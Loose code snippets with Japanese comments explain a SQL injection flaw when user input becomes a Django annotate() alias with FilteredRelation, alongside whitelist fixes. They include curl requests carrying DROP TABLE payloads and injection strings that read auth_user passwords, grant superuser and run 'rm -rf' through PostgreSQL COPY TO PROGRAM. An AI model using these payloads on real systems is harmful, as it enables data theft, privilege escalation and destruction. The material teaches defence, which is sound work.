# ユーザーが異なる条件で検索したい場合
search_field = request.POST.get('field_name')  # ユーザー入力: "title", "author" など

# **kwargsを用いた動的フィールド作成
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

# 脆弱なアプリケーションでの一般的なパターン:
user_input = request.POST.get('search_field')  # 攻撃者がこれを制御

# ここで脆弱性が発生 - ユーザー入力がSQLの列エイリアスになる
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ 危険
})

user_input = "malicious_field'; DROP TABLE users; --"

SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

# views.py - 一般的な脆弱なパターン
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # 開発者は安全だと思っている - しかし実際は安全ではない！
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

# 攻撃者は以下のPOSTリクエストを送信:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

# 絶対に行わないでください - ユーザー入力をそのまま辞書キーにする
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQLインジェクション!
})

# 安全 - ホワイトリストによる検証
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # これで安全
})

# 安全 - 静的なフィールド名を使用
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

-- 機密データの抽出
'; SELECT username, password FROM auth_user; --

-- データの改ざん
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

-- システムコマンドの実行（適切な拡張機能があるPostgreSQL）
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

# 動的フィールド名の代わりに条件分岐を使用
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

# 脆弱なDjangoアプリケーションを起動
docker-compose up

# 脆弱性をテスト
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'